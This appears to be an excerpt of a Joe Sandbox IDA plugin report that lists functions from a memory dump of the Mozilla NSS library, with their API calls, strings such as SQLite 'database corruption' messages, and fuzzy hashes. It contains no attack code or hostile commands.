Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: baedc595b9b5e6b70d2f5178e66927431990d9dd1af74849c8f9acfa12491411
Instruction ID: f0fdb4ef8e344d9a9f94db01133cadfc041e73e47c888615da52d3987700ef2f
Opcode Fuzzy Hash: baedc595b9b5e6b70d2f5178e66927431990d9dd1af74849c8f9acfa12491411
Instruction Fuzzy Hash: 1D512372E606009BDB01AF6ADC44B6677B0EF46328F254128DE0957F22EB31E854CBE1

Function 6CE12C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(84EE2252), ref: 6CE12C5D

Part of subcall function 6CE70D30: calloc.MOZGLUE ref: 6CE70D50
Part of subcall function 6CE70D30: TlsGetValue.KERNEL32 ref: 6CE70D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CE12C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE12CE0

Part of subcall function 6CE12E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CE12CDA,?,00000000), ref: 6CE12E1E
Part of subcall function 6CE12E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CE12E33
Part of subcall function 6CE12E00: TlsGetValue.KERNEL32 ref: 6CE12E4E
Part of subcall function 6CE12E00: EnterCriticalSection.KERNEL32(?), ref: 6CE12E5E
Part of subcall function 6CE12E00: PL_HashTableLookup.NSS3(?), ref: 6CE12E71
Part of subcall function 6CE12E00: PL_HashTableRemove.NSS3(?), ref: 6CE12E84
Part of subcall function 6CE12E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CE12E96
Part of subcall function 6CE12E00: PR_Unlock.NSS3 ref: 6CE12EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE12D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CE12D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CE12D3F
free.MOZGLUE(00000000), ref: 6CE12D73
CERT_DestroyCertificate.NSS3(?), ref: 6CE12DB8
free.MOZGLUE ref: 6CE12DC8

Part of subcall function 6CE13E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE13EC2
Part of subcall function 6CE13E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE13ED6
Part of subcall function 6CE13E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE13EEE
Part of subcall function 6CE13E60: PR_CallOnce.NSS3(6CF72AA4,6CE712D0), ref: 6CE13F02
Part of subcall function 6CE13E60: PL_FreeArenaPool.NSS3 ref: 6CE13F14
Part of subcall function 6CE13E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE13F27

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 6e5715330d98768c5573b37a752d3fa07a992e7a9ddfa4def5646b24c2ed137f
Instruction ID: 13f3a45efc602b2912fcd6380d59a60ad3da773d11af6983808c73679281b673
Opcode Fuzzy Hash: 6e5715330d98768c5573b37a752d3fa07a992e7a9ddfa4def5646b24c2ed137f
Instruction Fuzzy Hash: 8751EF71A183119BEB019E29DC88B6B77F5EFA634CF24042CEC5593B50E731E825CB92

Function 6CE38F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE2DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE38FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CE2DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE38FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE2DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE38FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE2DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE39013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE2DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE39042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE2DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE3905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE2DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE39073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE2DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE390EC

Part of subcall function 6CE00F00: PR_GetPageSize.NSS3(6CE00936,FFFFE8AE,?,6CD916B7,00000000,?,6CE00936,00000000,?,6CD9204A), ref: 6CE00F1B
Part of subcall function 6CE00F00: PR_NewLogModule.NSS3(clock,6CE00936,FFFFE8AE,?,6CD916B7,00000000,?,6CE00936,00000000,?,6CD9204A), ref: 6CE00F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE2DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE39111

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 8c68919148439c8d867163e35a80f51d3abfa8adf106e9af046d0461488e47c5
Instruction ID: c4f78f9d765b6fe767afaaad9d1c074abf384e59340c20e2c56b905a46a410a7
Opcode Fuzzy Hash: 8c68919148439c8d867163e35a80f51d3abfa8adf106e9af046d0461488e47c5
Instruction Fuzzy Hash: E6517B75A042258FDF40AF78C488369BBF0BF0A318F265569DC489B706EB35E885CB91

Function 6CE17CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE140D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CE13F7F,?,00000055,?,?,6CE11666,?,?), ref: 6CE140D9
Part of subcall function 6CE140D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CE11666,?,?), ref: 6CE140FC
Part of subcall function 6CE140D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CE11666,?,?), ref: 6CE14138

PR_GetCurrentThread.NSS3 ref: 6CE17CFD

Part of subcall function 6CED9BF0: TlsGetValue.KERNEL32(?,?,?,6CF20A75), ref: 6CED9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6CF39030), ref: 6CE17D1B

Part of subcall function 6CE6FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6CE11A3E,00000048,00000054), ref: 6CE6FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6CF39048), ref: 6CE17D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CE17D50
PR_GetCurrentThread.NSS3 ref: 6CE17D61
PORT_ArenaMark_Util.NSS3(?), ref: 6CE17D7D
free.MOZGLUE(?), ref: 6CE17D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6CE17DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6CE17E19

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 4bb55e02dc8731f8eb0e577043891a7f8950ec84ca2e7fd1210fde9c83e4b572
Instruction ID: c056447c897ddd765e6e4053d53c74fcdd242cc3b4ba12f7544cfbedb2887cee
Opcode Fuzzy Hash: 4bb55e02dc8731f8eb0e577043891a7f8950ec84ca2e7fd1210fde9c83e4b572
Instruction Fuzzy Hash: 1C41D672A1811D9BDB009E69DC41BAB33F4AF4265CF250028EC19A7F51EB31E926C7E1

Function 6CE27EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6CE280DD), ref: 6CE27F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6CE280DD), ref: 6CE27F36
free.MOZGLUE(?,?,?,6CE280DD), ref: 6CE27F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6CE280DD), ref: 6CE27F5D
DeleteCriticalSection.KERNEL32(?,6CE280DD), ref: 6CE27F94
free.MOZGLUE(?), ref: 6CE27F9B
PR_SetError.NSS3(FFFFE08B,00000000,6CE280DD), ref: 6CE27FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6CE280DD), ref: 6CE27FE6
free.MOZGLUE(?,6CE280DD), ref: 6CE2802D

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 032765c7d9925ed7489ef9b1f4e43b2e8f8846116ef884c4419ad8bdcfa37e4c
Instruction ID: 8302218950daf5bb0ee578cdabc78f2f64325913e11493d2d38d504b7d13d954
Opcode Fuzzy Hash: 032765c7d9925ed7489ef9b1f4e43b2e8f8846116ef884c4419ad8bdcfa37e4c
Instruction Fuzzy Hash: B24125B1F21120CBEF919FB9E889B4637B5BB47318F22022DE51983B41D7769405CBB1

Function 6CE6FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE6FF00

Part of subcall function 6CEBC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEBC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6CE6FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CE6FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6CE6FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE6FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE6FF8C

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: f7a0cb8fb63af1a3625db29efa5ffad8530328ec669cdd818ea090d0fd679f44
Instruction ID: 6daa3d28e1b41d099991dd2719de6149caeb5f0490209649411ef8e6028967c9
Opcode Fuzzy Hash: f7a0cb8fb63af1a3625db29efa5ffad8530328ec669cdd818ea090d0fd679f44
Instruction Fuzzy Hash: A63142B29453129BEB208F9A8C42B5B76B8AF4235CF340038ED2897B00FB35D914C7E1

Function 6CE73CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CE738BD), ref: 6CE73CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6CE738BD), ref: 6CE73CD1

Part of subcall function 6CE70BE0: malloc.MOZGLUE(6CE68D2D,?,00000000,?), ref: 6CE70BF8
Part of subcall function 6CE70BE0: TlsGetValue.KERNEL32(6CE68D2D,?,00000000,?), ref: 6CE70C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6CE738BD), ref: 6CE73CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CF4B369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6CE738BD), ref: 6CE73D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6CE738BD), ref: 6CE73D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6CF4B369,000000FF,00000000,00000000,00000000,6CE738BD), ref: 6CE73D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6CE73D47
free.MOZGLUE(00000000), ref: 6CE73D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6CE738BD), ref: 6CE73D6F

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: dbd9e95707fbd9c928206d65a218dae4d8efcb37993578bee4ed4254e5add02e
Instruction ID: 6173cb8a399d69496a6660fa39de937a648daa114bee03a1b05fe5ffa7cf532c
Opcode Fuzzy Hash: dbd9e95707fbd9c928206d65a218dae4d8efcb37993578bee4ed4254e5add02e
Instruction Fuzzy Hash: 552180B5B0115277FF70667B4C09E7B39BC9B826A8B340635BA39D66C1DB60C800C271

Function 6CDB7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDB7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDB7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6CDB7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDB7F2E

Strings

%s at line %d of [%.10s], xrefs: 6CDB7EE7, 6CDB7F28
database corruption, xrefs: 6CDB7EE2, 6CDB7F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDB7ED8, 6CDB7F08, 6CDB7F19

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 1c08fbc5214c4fb3063cca7aa2983357546da1c9bc136cddc09a779cfab1d821
Instruction ID: d8ba5fa87d37a58d414ef40a668f31d9ebc41d6d694db655334dc551ab0c4126
Opcode Fuzzy Hash: 1c08fbc5214c4fb3063cca7aa2983357546da1c9bc136cddc09a779cfab1d821
Instruction Fuzzy Hash: 636194B4A04206EFDB05CF65C880BAA37B2BF45304F154568EC1A5B762D731EC55CBB1

Function 6CD9FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CD9FD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD9FD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CD9FE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD9FE83

Part of subcall function 6CD9FEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6CD9FEFA
Part of subcall function 6CD9FEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6CD9FF3B

Strings

%s at line %d of [%.10s], xrefs: 6CD9FD73, 6CD9FE35
database corruption, xrefs: 6CD9FD6E, 6CD9FE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CD9FD64, 6CD9FE26

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 1f4ba168f2250e3ccf3d2704d26c9ba1688499ecdf45804a33a028890503b66f
Instruction ID: 7c042a3d1986a9b968c50b8ed63f07501d0116764f52f1e7c8ef80b6ce3663e9
Opcode Fuzzy Hash: 1f4ba168f2250e3ccf3d2704d26c9ba1688499ecdf45804a33a028890503b66f
Instruction Fuzzy Hash: 46518175A00205DFDB04CFA9D8D0AAEB7B1FF48308F144069EA05AB766E775EC50CBA0

Function 6CEE2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEE2FFD
sqlite3_initialize.NSS3 ref: 6CEE3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CEE3032
sqlite3_mprintf.NSS3(6CF4AAF9,?), ref: 6CEE3073
sqlite3_free.NSS3(?), ref: 6CEE30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CEE30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CEE30BB

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 20a4a7733a84b47adc36839a27e4420d504e2d277ffd4eef50bae27bd76800bb
Instruction ID: eea496e865ff5db9dbe3e3c24edb6e7b5302d7a42b6d4292ba497ff78b3f84c5
Opcode Fuzzy Hash: 20a4a7733a84b47adc36839a27e4420d504e2d277ffd4eef50bae27bd76800bb
Instruction Fuzzy Hash: 2441A271600606AFDB00CF65D880A96B7F5FF883A8F258628EC6987B50E731F955CBD1

Function 6CE65ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]l), ref: 6CE65F0A
TlsGetValue.KERNEL32 ref: 6CE65F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CE65F2F
PR_Unlock.NSS3(890008E8), ref: 6CE65F55
PR_SetError.NSS3(00000000,00000000), ref: 6CE65F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CE65F7D

Part of subcall function 6CE65220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CE65F82,8B4274C0), ref: 6CE65248
Part of subcall function 6CE65220: EnterCriticalSection.KERNEL32(0F6CF30D,?,6CE65F82,8B4274C0), ref: 6CE6525C
Part of subcall function 6CE65220: PR_SetError.NSS3(00000000,00000000), ref: 6CE6528E
Part of subcall function 6CE65220: PR_Unlock.NSS3(0F6CF2F1), ref: 6CE65299
Part of subcall function 6CE65220: free.MOZGLUE(00000000), ref: 6CE652A9

Strings

q]l, xrefs: 6CE65EDB, 6CE65F09

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]l
API String ID: 3150690610-3830342008
Opcode ID: c45a7b8db3da9b1809405c7267fefb3cab15fff11736c9cc5b9aaedb522028f9
Instruction ID: 96d4c046a0c131e26ae1197a9e308551df2b0c9200cf41624d02051d4a42854c
Opcode Fuzzy Hash: c45a7b8db3da9b1809405c7267fefb3cab15fff11736c9cc5b9aaedb522028f9
Instruction Fuzzy Hash: FE21E7B1E002049FDB00AF65EC41BEEB7B4EF09318F64442DE959A7701EB31A958CBD1

Function 6CE28CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CE3124D,00000001), ref: 6CE28D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CE3124D,00000001), ref: 6CE28D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CE3124D,00000001), ref: 6CE28D73
PR_Unlock.NSS3(?,?,?,?,?,6CE3124D,00000001), ref: 6CE28D8C

Part of subcall function 6CEBDD70: TlsGetValue.KERNEL32 ref: 6CEBDD8C
Part of subcall function 6CEBDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEBDDB4

PR_Unlock.NSS3(?,?,?,?,?,6CE3124D,00000001), ref: 6CE28DBA

Strings

KRAM, xrefs: 6CE28D3E
KRAM, xrefs: 6CE28CF9

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
